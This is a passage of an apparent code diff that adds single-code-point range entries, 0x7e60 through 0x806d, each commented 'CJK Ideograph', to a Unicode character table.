+ [0x7e60, 0x7e60], /* CJK Ideograph */
+ [0x7e61, 0x7e61], /* CJK Ideograph */
+ [0x7e62, 0x7e62], /* CJK Ideograph */
+ [0x7e63, 0x7e63], /* CJK Ideograph */
+ [0x7e64, 0x7e64], /* CJK Ideograph */
+ [0x7e65, 0x7e65], /* CJK Ideograph */
+ [0x7e66, 0x7e66], /* CJK Ideograph */
+ [0x7e67, 0x7e67], /* CJK Ideograph */
+ [0x7e68, 0x7e68], /* CJK Ideograph */
+ [0x7e69, 0x7e69], /* CJK Ideograph */
+ [0x7e6a, 0x7e6a], /* CJK Ideograph */
+ [0x7e6b, 0x7e6b], /* CJK Ideograph */
+ [0x7e6c, 0x7e6c], /* CJK Ideograph */
+ [0x7e6d, 0x7e6d], /* CJK Ideograph */
+ [0x7e6e, 0x7e6e], /* CJK Ideograph */
+ [0x7e6f, 0x7e6f], /* CJK Ideograph */
+ [0x7e70, 0x7e70], /* CJK Ideograph */
+ [0x7e71, 0x7e71], /* CJK Ideograph */
+ [0x7e72, 0x7e72], /* CJK Ideograph */
+ [0x7e73, 0x7e73], /* CJK Ideograph */
+ [0x7e74, 0x7e74], /* CJK Ideograph */
+ [0x7e75, 0x7e75], /* CJK Ideograph */
+ [0x7e76, 0x7e76], /* CJK Ideograph */
+ [0x7e77, 0x7e77], /* CJK Ideograph */
+ [0x7e78, 0x7e78], /* CJK Ideograph */
+ [0x7e79, 0x7e79], /* CJK Ideograph */
+ [0x7e7a, 0x7e7a], /* CJK Ideograph */
+ [0x7e7b, 0x7e7b], /* CJK Ideograph */
+ [0x7e7c, 0x7e7c], /* CJK Ideograph */
+ [0x7e7d, 0x7e7d], /* CJK Ideograph */
+ [0x7e7e, 0x7e7e], /* CJK Ideograph */
+ [0x7e7f, 0x7e7f], /* CJK Ideograph */
+ [0x7e80, 0x7e80], /* CJK Ideograph */
+ [0x7e81, 0x7e81], /* CJK Ideograph */
+ [0x7e82, 0x7e82], /* CJK Ideograph */
+ [0x7e83, 0x7e83], /* CJK Ideograph */
+ [0x7e84, 0x7e84], /* CJK Ideograph */
+ [0x7e85, 0x7e85], /* CJK Ideograph */
+ [0x7e86, 0x7e86], /* CJK Ideograph */
+ [0x7e87, 0x7e87], /* CJK Ideograph */
+ [0x7e88, 0x7e88], /* CJK Ideograph */
+ [0x7e89, 0x7e89], /* CJK Ideograph */
+ [0x7e8a, 0x7e8a], /* CJK Ideograph */
+ [0x7e8b, 0x7e8b], /* CJK Ideograph */
+ [0x7e8c, 0x7e8c], /* CJK Ideograph */
+ [0x7e8d, 0x7e8d], /* CJK Ideograph */
+ [0x7e8e, 0x7e8e], /* CJK Ideograph */
+ [0x7e8f, 0x7e8f], /* CJK Ideograph */
+ [0x7e90, 0x7e90], /* CJK Ideograph */
+ [0x7e91, 0x7e91], /* CJK Ideograph */
+ [0x7e92, 0x7e92], /* CJK Ideograph */
+ [0x7e93, 0x7e93], /* CJK Ideograph */
+ [0x7e94, 0x7e94], /* CJK Ideograph */
+ [0x7e95, 0x7e95], /* CJK Ideograph */
+ [0x7e96, 0x7e96], /* CJK Ideograph */
+ [0x7e97, 0x7e97], /* CJK Ideograph */
+ [0x7e98, 0x7e98], /* CJK Ideograph */
+ [0x7e99, 0x7e99], /* CJK Ideograph */
+ [0x7e9a, 0x7e9a], /* CJK Ideograph */
+ [0x7e9b, 0x7e9b], /* CJK Ideograph */
+ [0x7e9c, 0x7e9c], /* CJK Ideograph */
+ [0x7e9d, 0x7e9d], /* CJK Ideograph */
+ [0x7e9e, 0x7e9e], /* CJK Ideograph */
+ [0x7e9f, 0x7e9f], /* CJK Ideograph */
+ [0x7ea0, 0x7ea0], /* CJK Ideograph */
+ [0x7ea1, 0x7ea1], /* CJK Ideograph */
+ [0x7ea2, 0x7ea2], /* CJK Ideograph */
+ [0x7ea3, 0x7ea3], /* CJK Ideograph */
+ [0x7ea4, 0x7ea4], /* CJK Ideograph */
+ [0x7ea5, 0x7ea5], /* CJK Ideograph */
+ [0x7ea6, 0x7ea6], /* CJK Ideograph */
+ [0x7ea7, 0x7ea7], /* CJK Ideograph */
+ [0x7ea8, 0x7ea8], /* CJK Ideograph */
+ [0x7ea9, 0x7ea9], /* CJK Ideograph */
+ [0x7eaa, 0x7eaa], /* CJK Ideograph */
+ [0x7eab, 0x7eab], /* CJK Ideograph */
+ [0x7eac, 0x7eac], /* CJK Ideograph */
+ [0x7ead, 0x7ead], /* CJK Ideograph */
+ [0x7eae, 0x7eae], /* CJK Ideograph */
+ [0x7eaf, 0x7eaf], /* CJK Ideograph */
+ [0x7eb0, 0x7eb0], /* CJK Ideograph */
+ [0x7eb1, 0x7eb1], /* CJK Ideograph */
+ [0x7eb2, 0x7eb2], /* CJK Ideograph */
+ [0x7eb3, 0x7eb3], /* CJK Ideograph */
+ [0x7eb4, 0x7eb4], /* CJK Ideograph */
+ [0x7eb5, 0x7eb5], /* CJK Ideograph */
+ [0x7eb6, 0x7eb6], /* CJK Ideograph */
+ [0x7eb7, 0x7eb7], /* CJK Ideograph */
+ [0x7eb8, 0x7eb8], /* CJK Ideograph */
+ [0x7eb9, 0x7eb9], /* CJK Ideograph */
+ [0x7eba, 0x7eba], /* CJK Ideograph */
+ [0x7ebb, 0x7ebb], /* CJK Ideograph */
+ [0x7ebc, 0x7ebc], /* CJK Ideograph */
+ [0x7ebd, 0x7ebd], /* CJK Ideograph */
+ [0x7ebe, 0x7ebe], /* CJK Ideograph */
+ [0x7ebf, 0x7ebf], /* CJK Ideograph */
+ [0x7ec0, 0x7ec0], /* CJK Ideograph */
+ [0x7ec1, 0x7ec1], /* CJK Ideograph */
+ [0x7ec2, 0x7ec2], /* CJK Ideograph */
+ [0x7ec3, 0x7ec3], /* CJK Ideograph */
+ [0x7ec4, 0x7ec4], /* CJK Ideograph */
+ [0x7ec5, 0x7ec5], /* CJK Ideograph */
+ [0x7ec6, 0x7ec6], /* CJK Ideograph */
+ [0x7ec7, 0x7ec7], /* CJK Ideograph */
+ [0x7ec8, 0x7ec8], /* CJK Ideograph */
+ [0x7ec9, 0x7ec9], /* CJK Ideograph */
+ [0x7eca, 0x7eca], /* CJK Ideograph */
+ [0x7ecb, 0x7ecb], /* CJK Ideograph */
+ [0x7ecc, 0x7ecc], /* CJK Ideograph */
+ [0x7ecd, 0x7ecd], /* CJK Ideograph */
+ [0x7ece, 0x7ece], /* CJK Ideograph */
+ [0x7ecf, 0x7ecf], /* CJK Ideograph */
+ [0x7ed0, 0x7ed0], /* CJK Ideograph */
+ [0x7ed1, 0x7ed1], /* CJK Ideograph */
+ [0x7ed2, 0x7ed2], /* CJK Ideograph */
+ [0x7ed3, 0x7ed3], /* CJK Ideograph */
+ [0x7ed4, 0x7ed4], /* CJK Ideograph */
+ [0x7ed5, 0x7ed5], /* CJK Ideograph */
+ [0x7ed6, 0x7ed6], /* CJK Ideograph */
+ [0x7ed7, 0x7ed7], /* CJK Ideograph */
+ [0x7ed8, 0x7ed8], /* CJK Ideograph */
+ [0x7ed9, 0x7ed9], /* CJK Ideograph */
+ [0x7eda, 0x7eda], /* CJK Ideograph */
+ [0x7edb, 0x7edb], /* CJK Ideograph */
+ [0x7edc, 0x7edc], /* CJK Ideograph */
+ [0x7edd, 0x7edd], /* CJK Ideograph */
+ [0x7ede, 0x7ede], /* CJK Ideograph */
+ [0x7edf, 0x7edf], /* CJK Ideograph */
+ [0x7ee0, 0x7ee0], /* CJK Ideograph */
+ [0x7ee1, 0x7ee1], /* CJK Ideograph */
+ [0x7ee2, 0x7ee2], /* CJK Ideograph */
+ [0x7ee3, 0x7ee3], /* CJK Ideograph */
+ [0x7ee4, 0x7ee4], /* CJK Ideograph */
+ [0x7ee5, 0x7ee5], /* CJK Ideograph */
+ [0x7ee6, 0x7ee6], /* CJK Ideograph */
+ [0x7ee7, 0x7ee7], /* CJK Ideograph */
+ [0x7ee8, 0x7ee8], /* CJK Ideograph */
+ [0x7ee9, 0x7ee9], /* CJK Ideograph */
+ [0x7eea, 0x7eea], /* CJK Ideograph */
+ [0x7eeb, 0x7eeb], /* CJK Ideograph */
+ [0x7eec, 0x7eec], /* CJK Ideograph */
+ [0x7eed, 0x7eed], /* CJK Ideograph */
+ [0x7eee, 0x7eee], /* CJK Ideograph */
+ [0x7eef, 0x7eef], /* CJK Ideograph */
+ [0x7ef0, 0x7ef0], /* CJK Ideograph */
+ [0x7ef1, 0x7ef1], /* CJK Ideograph */
+ [0x7ef2, 0x7ef2], /* CJK Ideograph */
+ [0x7ef3, 0x7ef3], /* CJK Ideograph */
+ [0x7ef4, 0x7ef4], /* CJK Ideograph */
+ [0x7ef5, 0x7ef5], /* CJK Ideograph */
+ [0x7ef6, 0x7ef6], /* CJK Ideograph */
+ [0x7ef7, 0x7ef7], /* CJK Ideograph */
+ [0x7ef8, 0x7ef8], /* CJK Ideograph */
+ [0x7ef9, 0x7ef9], /* CJK Ideograph */
+ [0x7efa, 0x7efa], /* CJK Ideograph */
+ [0x7efb, 0x7efb], /* CJK Ideograph */
+ [0x7efc, 0x7efc], /* CJK Ideograph */
+ [0x7efd, 0x7efd], /* CJK Ideograph */
+ [0x7efe, 0x7efe], /* CJK Ideograph */
+ [0x7eff, 0x7eff], /* CJK Ideograph */
+ [0x7f00, 0x7f00], /* CJK Ideograph */
+ [0x7f01, 0x7f01], /* CJK Ideograph */
+ [0x7f02, 0x7f02], /* CJK Ideograph */
+ [0x7f03, 0x7f03], /* CJK Ideograph */
+ [0x7f04, 0x7f04], /* CJK Ideograph */
+ [0x7f05, 0x7f05], /* CJK Ideograph */
+ [0x7f06, 0x7f06], /* CJK Ideograph */
+ [0x7f07, 0x7f07], /* CJK Ideograph */
+ [0x7f08, 0x7f08], /* CJK Ideograph */
+ [0x7f09, 0x7f09], /* CJK Ideograph */
+ [0x7f0a, 0x7f0a], /* CJK Ideograph */
+ [0x7f0b, 0x7f0b], /* CJK Ideograph */
+ [0x7f0c, 0x7f0c], /* CJK Ideograph */
+ [0x7f0d, 0x7f0d], /* CJK Ideograph */
+ [0x7f0e, 0x7f0e], /* CJK Ideograph */
+ [0x7f0f, 0x7f0f], /* CJK Ideograph */
+ [0x7f10, 0x7f10], /* CJK Ideograph */
+ [0x7f11, 0x7f11], /* CJK Ideograph */
+ [0x7f12, 0x7f12], /* CJK Ideograph */
+ [0x7f13, 0x7f13], /* CJK Ideograph */
+ [0x7f14, 0x7f14], /* CJK Ideograph */
+ [0x7f15, 0x7f15], /* CJK Ideograph */
+ [0x7f16, 0x7f16], /* CJK Ideograph */
+ [0x7f17, 0x7f17], /* CJK Ideograph */
+ [0x7f18, 0x7f18], /* CJK Ideograph */
+ [0x7f19, 0x7f19], /* CJK Ideograph */
+ [0x7f1a, 0x7f1a], /* CJK Ideograph */
+ [0x7f1b, 0x7f1b], /* CJK Ideograph */
+ [0x7f1c, 0x7f1c], /* CJK Ideograph */
+ [0x7f1d, 0x7f1d], /* CJK Ideograph */
+ [0x7f1e, 0x7f1e], /* CJK Ideograph */
+ [0x7f1f, 0x7f1f], /* CJK Ideograph */
+ [0x7f20, 0x7f20], /* CJK Ideograph */
+ [0x7f21, 0x7f21], /* CJK Ideograph */
+ [0x7f22, 0x7f22], /* CJK Ideograph */
+ [0x7f23, 0x7f23], /* CJK Ideograph */
+ [0x7f24, 0x7f24], /* CJK Ideograph */
+ [0x7f25, 0x7f25], /* CJK Ideograph */
+ [0x7f26, 0x7f26], /* CJK Ideograph */
+ [0x7f27, 0x7f27], /* CJK Ideograph */
+ [0x7f28, 0x7f28], /* CJK Ideograph */
+ [0x7f29, 0x7f29], /* CJK Ideograph */
+ [0x7f2a, 0x7f2a], /* CJK Ideograph */
+ [0x7f2b, 0x7f2b], /* CJK Ideograph */
+ [0x7f2c, 0x7f2c], /* CJK Ideograph */
+ [0x7f2d, 0x7f2d], /* CJK Ideograph */
+ [0x7f2e, 0x7f2e], /* CJK Ideograph */
+ [0x7f2f, 0x7f2f], /* CJK Ideograph */
+ [0x7f30, 0x7f30], /* CJK Ideograph */
+ [0x7f31, 0x7f31], /* CJK Ideograph */
+ [0x7f32, 0x7f32], /* CJK Ideograph */
+ [0x7f33, 0x7f33], /* CJK Ideograph */
+ [0x7f34, 0x7f34], /* CJK Ideograph */
+ [0x7f35, 0x7f35], /* CJK Ideograph */
+ [0x7f36, 0x7f36], /* CJK Ideograph */
+ [0x7f37, 0x7f37], /* CJK Ideograph */
+ [0x7f38, 0x7f38], /* CJK Ideograph */
+ [0x7f39, 0x7f39], /* CJK Ideograph */
+ [0x7f3a, 0x7f3a], /* CJK Ideograph */
+ [0x7f3b, 0x7f3b], /* CJK Ideograph */
+ [0x7f3c, 0x7f3c], /* CJK Ideograph */
+ [0x7f3d, 0x7f3d], /* CJK Ideograph */
+ [0x7f3e, 0x7f3e], /* CJK Ideograph */
+ [0x7f3f, 0x7f3f], /* CJK Ideograph */
+ [0x7f40, 0x7f40], /* CJK Ideograph */
+ [0x7f41, 0x7f41], /* CJK Ideograph */
+ [0x7f42, 0x7f42], /* CJK Ideograph */
+ [0x7f43, 0x7f43], /* CJK Ideograph */
+ [0x7f44, 0x7f44], /* CJK Ideograph */
+ [0x7f45, 0x7f45], /* CJK Ideograph */
+ [0x7f46, 0x7f46], /* CJK Ideograph */
+ [0x7f47, 0x7f47], /* CJK Ideograph */
+ [0x7f48, 0x7f48], /* CJK Ideograph */
+ [0x7f49, 0x7f49], /* CJK Ideograph */
+ [0x7f4a, 0x7f4a], /* CJK Ideograph */
+ [0x7f4b, 0x7f4b], /* CJK Ideograph */
+ [0x7f4c, 0x7f4c], /* CJK Ideograph */
+ [0x7f4d, 0x7f4d], /* CJK Ideograph */
+ [0x7f4e, 0x7f4e], /* CJK Ideograph */
+ [0x7f4f, 0x7f4f], /* CJK Ideograph */
+ [0x7f50, 0x7f50], /* CJK Ideograph */
+ [0x7f51, 0x7f51], /* CJK Ideograph */
+ [0x7f52, 0x7f52], /* CJK Ideograph */
+ [0x7f53, 0x7f53], /* CJK Ideograph */
+ [0x7f54, 0x7f54], /* CJK Ideograph */
+ [0x7f55, 0x7f55], /* CJK Ideograph */
+ [0x7f56, 0x7f56], /* CJK Ideograph */
+ [0x7f57, 0x7f57], /* CJK Ideograph */
+ [0x7f58, 0x7f58], /* CJK Ideograph */
+ [0x7f59, 0x7f59], /* CJK Ideograph */
+ [0x7f5a, 0x7f5a], /* CJK Ideograph */
+ [0x7f5b, 0x7f5b], /* CJK Ideograph */
+ [0x7f5c, 0x7f5c], /* CJK Ideograph */
+ [0x7f5d, 0x7f5d], /* CJK Ideograph */
+ [0x7f5e, 0x7f5e], /* CJK Ideograph */
+ [0x7f5f, 0x7f5f], /* CJK Ideograph */
+ [0x7f60, 0x7f60], /* CJK Ideograph */
+ [0x7f61, 0x7f61], /* CJK Ideograph */
+ [0x7f62, 0x7f62], /* CJK Ideograph */
+ [0x7f63, 0x7f63], /* CJK Ideograph */
+ [0x7f64, 0x7f64], /* CJK Ideograph */
+ [0x7f65, 0x7f65], /* CJK Ideograph */
+ [0x7f66, 0x7f66], /* CJK Ideograph */
+ [0x7f67, 0x7f67], /* CJK Ideograph */
+ [0x7f68, 0x7f68], /* CJK Ideograph */
+ [0x7f69, 0x7f69], /* CJK Ideograph */
+ [0x7f6a, 0x7f6a], /* CJK Ideograph */
+ [0x7f6b, 0x7f6b], /* CJK Ideograph */
+ [0x7f6c, 0x7f6c], /* CJK Ideograph */
+ [0x7f6d, 0x7f6d], /* CJK Ideograph */
+ [0x7f6e, 0x7f6e], /* CJK Ideograph */
+ [0x7f6f, 0x7f6f], /* CJK Ideograph */
+ [0x7f70, 0x7f70], /* CJK Ideograph */
+ [0x7f71, 0x7f71], /* CJK Ideograph */
+ [0x7f72, 0x7f72], /* CJK Ideograph */
+ [0x7f73, 0x7f73], /* CJK Ideograph */
+ [0x7f74, 0x7f74], /* CJK Ideograph */
+ [0x7f75, 0x7f75], /* CJK Ideograph */
+ [0x7f76, 0x7f76], /* CJK Ideograph */
+ [0x7f77, 0x7f77], /* CJK Ideograph */
+ [0x7f78, 0x7f78], /* CJK Ideograph */
+ [0x7f79, 0x7f79], /* CJK Ideograph */
+ [0x7f7a, 0x7f7a], /* CJK Ideograph */
+ [0x7f7b, 0x7f7b], /* CJK Ideograph */
+ [0x7f7c, 0x7f7c], /* CJK Ideograph */
+ [0x7f7d, 0x7f7d], /* CJK Ideograph */
+ [0x7f7e, 0x7f7e], /* CJK Ideograph */
+ [0x7f7f, 0x7f7f], /* CJK Ideograph */
+ [0x7f80, 0x7f80], /* CJK Ideograph */
+ [0x7f81, 0x7f81], /* CJK Ideograph */
+ [0x7f82, 0x7f82], /* CJK Ideograph */
+ [0x7f83, 0x7f83], /* CJK Ideograph */
+ [0x7f84, 0x7f84], /* CJK Ideograph */
+ [0x7f85, 0x7f85], /* CJK Ideograph */
+ [0x7f86, 0x7f86], /* CJK Ideograph */
+ [0x7f87, 0x7f87], /* CJK Ideograph */
+ [0x7f88, 0x7f88], /* CJK Ideograph */
+ [0x7f89, 0x7f89], /* CJK Ideograph */
+ [0x7f8a, 0x7f8a], /* CJK Ideograph */
+ [0x7f8b, 0x7f8b], /* CJK Ideograph */
+ [0x7f8c, 0x7f8c], /* CJK Ideograph */
+ [0x7f8d, 0x7f8d], /* CJK Ideograph */
+ [0x7f8e, 0x7f8e], /* CJK Ideograph */
+ [0x7f8f, 0x7f8f], /* CJK Ideograph */
+ [0x7f90, 0x7f90], /* CJK Ideograph */
+ [0x7f91, 0x7f91], /* CJK Ideograph */
+ [0x7f92, 0x7f92], /* CJK Ideograph */
+ [0x7f93, 0x7f93], /* CJK Ideograph */
+ [0x7f94, 0x7f94], /* CJK Ideograph */
+ [0x7f95, 0x7f95], /* CJK Ideograph */
+ [0x7f96, 0x7f96], /* CJK Ideograph */
+ [0x7f97, 0x7f97], /* CJK Ideograph */
+ [0x7f98, 0x7f98], /* CJK Ideograph */
+ [0x7f99, 0x7f99], /* CJK Ideograph */
+ [0x7f9a, 0x7f9a], /* CJK Ideograph */
+ [0x7f9b, 0x7f9b], /* CJK Ideograph */
+ [0x7f9c, 0x7f9c], /* CJK Ideograph */
+ [0x7f9d, 0x7f9d], /* CJK Ideograph */
+ [0x7f9e, 0x7f9e], /* CJK Ideograph */
+ [0x7f9f, 0x7f9f], /* CJK Ideograph */
+ [0x7fa0, 0x7fa0], /* CJK Ideograph */
+ [0x7fa1, 0x7fa1], /* CJK Ideograph */
+ [0x7fa2, 0x7fa2], /* CJK Ideograph */
+ [0x7fa3, 0x7fa3], /* CJK Ideograph */
+ [0x7fa4, 0x7fa4], /* CJK Ideograph */
+ [0x7fa5, 0x7fa5], /* CJK Ideograph */
+ [0x7fa6, 0x7fa6], /* CJK Ideograph */
+ [0x7fa7, 0x7fa7], /* CJK Ideograph */
+ [0x7fa8, 0x7fa8], /* CJK Ideograph */
+ [0x7fa9, 0x7fa9], /* CJK Ideograph */
+ [0x7faa, 0x7faa], /* CJK Ideograph */
+ [0x7fab, 0x7fab], /* CJK Ideograph */
+ [0x7fac, 0x7fac], /* CJK Ideograph */
+ [0x7fad, 0x7fad], /* CJK Ideograph */
+ [0x7fae, 0x7fae], /* CJK Ideograph */
+ [0x7faf, 0x7faf], /* CJK Ideograph */
+ [0x7fb0, 0x7fb0], /* CJK Ideograph */
+ [0x7fb1, 0x7fb1], /* CJK Ideograph */
+ [0x7fb2, 0x7fb2], /* CJK Ideograph */
+ [0x7fb3, 0x7fb3], /* CJK Ideograph */
+ [0x7fb4, 0x7fb4], /* CJK Ideograph */
+ [0x7fb5, 0x7fb5], /* CJK Ideograph */
+ [0x7fb6, 0x7fb6], /* CJK Ideograph */
+ [0x7fb7, 0x7fb7], /* CJK Ideograph */
+ [0x7fb8, 0x7fb8], /* CJK Ideograph */
+ [0x7fb9, 0x7fb9], /* CJK Ideograph */
+ [0x7fba, 0x7fba], /* CJK Ideograph */
+ [0x7fbb, 0x7fbb], /* CJK Ideograph */
+ [0x7fbc, 0x7fbc], /* CJK Ideograph */
+ [0x7fbd, 0x7fbd], /* CJK Ideograph */
+ [0x7fbe, 0x7fbe], /* CJK Ideograph */
+ [0x7fbf, 0x7fbf], /* CJK Ideograph */
+ [0x7fc0, 0x7fc0], /* CJK Ideograph */
+ [0x7fc1, 0x7fc1], /* CJK Ideograph */
+ [0x7fc2, 0x7fc2], /* CJK Ideograph */
+ [0x7fc3, 0x7fc3], /* CJK Ideograph */
+ [0x7fc4, 0x7fc4], /* CJK Ideograph */
+ [0x7fc5, 0x7fc5], /* CJK Ideograph */
+ [0x7fc6, 0x7fc6], /* CJK Ideograph */
+ [0x7fc7, 0x7fc7], /* CJK Ideograph */
+ [0x7fc8, 0x7fc8], /* CJK Ideograph */
+ [0x7fc9, 0x7fc9], /* CJK Ideograph */
+ [0x7fca, 0x7fca], /* CJK Ideograph */
+ [0x7fcb, 0x7fcb], /* CJK Ideograph */
+ [0x7fcc, 0x7fcc], /* CJK Ideograph */
+ [0x7fcd, 0x7fcd], /* CJK Ideograph */
+ [0x7fce, 0x7fce], /* CJK Ideograph */
+ [0x7fcf, 0x7fcf], /* CJK Ideograph */
+ [0x7fd0, 0x7fd0], /* CJK Ideograph */
+ [0x7fd1, 0x7fd1], /* CJK Ideograph */
+ [0x7fd2, 0x7fd2], /* CJK Ideograph */
+ [0x7fd3, 0x7fd3], /* CJK Ideograph */
+ [0x7fd4, 0x7fd4], /* CJK Ideograph */
+ [0x7fd5, 0x7fd5], /* CJK Ideograph */
+ [0x7fd6, 0x7fd6], /* CJK Ideograph */
+ [0x7fd7, 0x7fd7], /* CJK Ideograph */
+ [0x7fd8, 0x7fd8], /* CJK Ideograph */
+ [0x7fd9, 0x7fd9], /* CJK Ideograph */
+ [0x7fda, 0x7fda], /* CJK Ideograph */
+ [0x7fdb, 0x7fdb], /* CJK Ideograph */
+ [0x7fdc, 0x7fdc], /* CJK Ideograph */
+ [0x7fdd, 0x7fdd], /* CJK Ideograph */
+ [0x7fde, 0x7fde], /* CJK Ideograph */
+ [0x7fdf, 0x7fdf], /* CJK Ideograph */
+ [0x7fe0, 0x7fe0], /* CJK Ideograph */
+ [0x7fe1, 0x7fe1], /* CJK Ideograph */
+ [0x7fe2, 0x7fe2], /* CJK Ideograph */
+ [0x7fe3, 0x7fe3], /* CJK Ideograph */
+ [0x7fe4, 0x7fe4], /* CJK Ideograph */
+ [0x7fe5, 0x7fe5], /* CJK Ideograph */
+ [0x7fe6, 0x7fe6], /* CJK Ideograph */
+ [0x7fe7, 0x7fe7], /* CJK Ideograph */
+ [0x7fe8, 0x7fe8], /* CJK Ideograph */
+ [0x7fe9, 0x7fe9], /* CJK Ideograph */
+ [0x7fea, 0x7fea], /* CJK Ideograph */
+ [0x7feb, 0x7feb], /* CJK Ideograph */
+ [0x7fec, 0x7fec], /* CJK Ideograph */
+ [0x7fed, 0x7fed], /* CJK Ideograph */
+ [0x7fee, 0x7fee], /* CJK Ideograph */
+ [0x7fef, 0x7fef], /* CJK Ideograph */
+ [0x7ff0, 0x7ff0], /* CJK Ideograph */
+ [0x7ff1, 0x7ff1], /* CJK Ideograph */
+ [0x7ff2, 0x7ff2], /* CJK Ideograph */
+ [0x7ff3, 0x7ff3], /* CJK Ideograph */
+ [0x7ff4, 0x7ff4], /* CJK Ideograph */
+ [0x7ff5, 0x7ff5], /* CJK Ideograph */
+ [0x7ff6, 0x7ff6], /* CJK Ideograph */
+ [0x7ff7, 0x7ff7], /* CJK Ideograph */
+ [0x7ff8, 0x7ff8], /* CJK Ideograph */
+ [0x7ff9, 0x7ff9], /* CJK Ideograph */
+ [0x7ffa, 0x7ffa], /* CJK Ideograph */
+ [0x7ffb, 0x7ffb], /* CJK Ideograph */
+ [0x7ffc, 0x7ffc], /* CJK Ideograph */
+ [0x7ffd, 0x7ffd], /* CJK Ideograph */
+ [0x7ffe, 0x7ffe], /* CJK Ideograph */
+ [0x7fff, 0x7fff], /* CJK Ideograph */
+ [0x8000, 0x8000], /* CJK Ideograph */
+ [0x8001, 0x8001], /* CJK Ideograph */
+ [0x8002, 0x8002], /* CJK Ideograph */
+ [0x8003, 0x8003], /* CJK Ideograph */
+ [0x8004, 0x8004], /* CJK Ideograph */
+ [0x8005, 0x8005], /* CJK Ideograph */
+ [0x8006, 0x8006], /* CJK Ideograph */
+ [0x8007, 0x8007], /* CJK Ideograph */
+ [0x8008, 0x8008], /* CJK Ideograph */
+ [0x8009, 0x8009], /* CJK Ideograph */
+ [0x800a, 0x800a], /* CJK Ideograph */
+ [0x800b, 0x800b], /* CJK Ideograph */
+ [0x800c, 0x800c], /* CJK Ideograph */
+ [0x800d, 0x800d], /* CJK Ideograph */
+ [0x800e, 0x800e], /* CJK Ideograph */
+ [0x800f, 0x800f], /* CJK Ideograph */
+ [0x8010, 0x8010], /* CJK Ideograph */
+ [0x8011, 0x8011], /* CJK Ideograph */
+ [0x8012, 0x8012], /* CJK Ideograph */
+ [0x8013, 0x8013], /* CJK Ideograph */
+ [0x8014, 0x8014], /* CJK Ideograph */
+ [0x8015, 0x8015], /* CJK Ideograph */
+ [0x8016, 0x8016], /* CJK Ideograph */
+ [0x8017, 0x8017], /* CJK Ideograph */
+ [0x8018, 0x8018], /* CJK Ideograph */
+ [0x8019, 0x8019], /* CJK Ideograph */
+ [0x801a, 0x801a], /* CJK Ideograph */
+ [0x801b, 0x801b], /* CJK Ideograph */
+ [0x801c, 0x801c], /* CJK Ideograph */
+ [0x801d, 0x801d], /* CJK Ideograph */
+ [0x801e, 0x801e], /* CJK Ideograph */
+ [0x801f, 0x801f], /* CJK Ideograph */
+ [0x8020, 0x8020], /* CJK Ideograph */
+ [0x8021, 0x8021], /* CJK Ideograph */
+ [0x8022, 0x8022], /* CJK Ideograph */
+ [0x8023, 0x8023], /* CJK Ideograph */
+ [0x8024, 0x8024], /* CJK Ideograph */
+ [0x8025, 0x8025], /* CJK Ideograph */
+ [0x8026, 0x8026], /* CJK Ideograph */
+ [0x8027, 0x8027], /* CJK Ideograph */
+ [0x8028, 0x8028], /* CJK Ideograph */
+ [0x8029, 0x8029], /* CJK Ideograph */
+ [0x802a, 0x802a], /* CJK Ideograph */
+ [0x802b, 0x802b], /* CJK Ideograph */
+ [0x802c, 0x802c], /* CJK Ideograph */
+ [0x802d, 0x802d], /* CJK Ideograph */
+ [0x802e, 0x802e], /* CJK Ideograph */
+ [0x802f, 0x802f], /* CJK Ideograph */
+ [0x8030, 0x8030], /* CJK Ideograph */
+ [0x8031, 0x8031], /* CJK Ideograph */
+ [0x8032, 0x8032], /* CJK Ideograph */
+ [0x8033, 0x8033], /* CJK Ideograph */
+ [0x8034, 0x8034], /* CJK Ideograph */
+ [0x8035, 0x8035], /* CJK Ideograph */
+ [0x8036, 0x8036], /* CJK Ideograph */
+ [0x8037, 0x8037], /* CJK Ideograph */
+ [0x8038, 0x8038], /* CJK Ideograph */
+ [0x8039, 0x8039], /* CJK Ideograph */
+ [0x803a, 0x803a], /* CJK Ideograph */
+ [0x803b, 0x803b], /* CJK Ideograph */
+ [0x803c, 0x803c], /* CJK Ideograph */
+ [0x803d, 0x803d], /* CJK Ideograph */
+ [0x803e, 0x803e], /* CJK Ideograph */
+ [0x803f, 0x803f], /* CJK Ideograph */
+ [0x8040, 0x8040], /* CJK Ideograph */
+ [0x8041, 0x8041], /* CJK Ideograph */
+ [0x8042, 0x8042], /* CJK Ideograph */
+ [0x8043, 0x8043], /* CJK Ideograph */
+ [0x8044, 0x8044], /* CJK Ideograph */
+ [0x8045, 0x8045], /* CJK Ideograph */
+ [0x8046, 0x8046], /* CJK Ideograph */
+ [0x8047, 0x8047], /* CJK Ideograph */
+ [0x8048, 0x8048], /* CJK Ideograph */
+ [0x8049, 0x8049], /* CJK Ideograph */
+ [0x804a, 0x804a], /* CJK Ideograph */
+ [0x804b, 0x804b], /* CJK Ideograph */
+ [0x804c, 0x804c], /* CJK Ideograph */
+ [0x804d, 0x804d], /* CJK Ideograph */
+ [0x804e, 0x804e], /* CJK Ideograph */
+ [0x804f, 0x804f], /* CJK Ideograph */
+ [0x8050, 0x8050], /* CJK Ideograph */
+ [0x8051, 0x8051], /* CJK Ideograph */
+ [0x8052, 0x8052], /* CJK Ideograph */
+ [0x8053, 0x8053], /* CJK Ideograph */
+ [0x8054, 0x8054], /* CJK Ideograph */
+ [0x8055, 0x8055], /* CJK Ideograph */
+ [0x8056, 0x8056], /* CJK Ideograph */
+ [0x8057, 0x8057], /* CJK Ideograph */
+ [0x8058, 0x8058], /* CJK Ideograph */
+ [0x8059, 0x8059], /* CJK Ideograph */
+ [0x805a, 0x805a], /* CJK Ideograph */
+ [0x805b, 0x805b], /* CJK Ideograph */
+ [0x805c, 0x805c], /* CJK Ideograph */
+ [0x805d, 0x805d], /* CJK Ideograph */
+ [0x805e, 0x805e], /* CJK Ideograph */
+ [0x805f, 0x805f], /* CJK Ideograph */
+ [0x8060, 0x8060], /* CJK Ideograph */
+ [0x8061, 0x8061], /* CJK Ideograph */
+ [0x8062, 0x8062], /* CJK Ideograph */
+ [0x8063, 0x8063], /* CJK Ideograph */
+ [0x8064, 0x8064], /* CJK Ideograph */
+ [0x8065, 0x8065], /* CJK Ideograph */
+ [0x8066, 0x8066], /* CJK Ideograph */
+ [0x8067, 0x8067], /* CJK Ideograph */
+ [0x8068, 0x8068], /* CJK Ideograph */
+ [0x8069, 0x8069], /* CJK Ideograph */
+ [0x806a, 0x806a], /* CJK Ideograph */
+ [0x806b, 0x806b], /* CJK Ideograph */
+ [0x806c, 0x806c], /* CJK Ideograph */
+ [0x806d, 0x806d], /* CJK Ideograph */
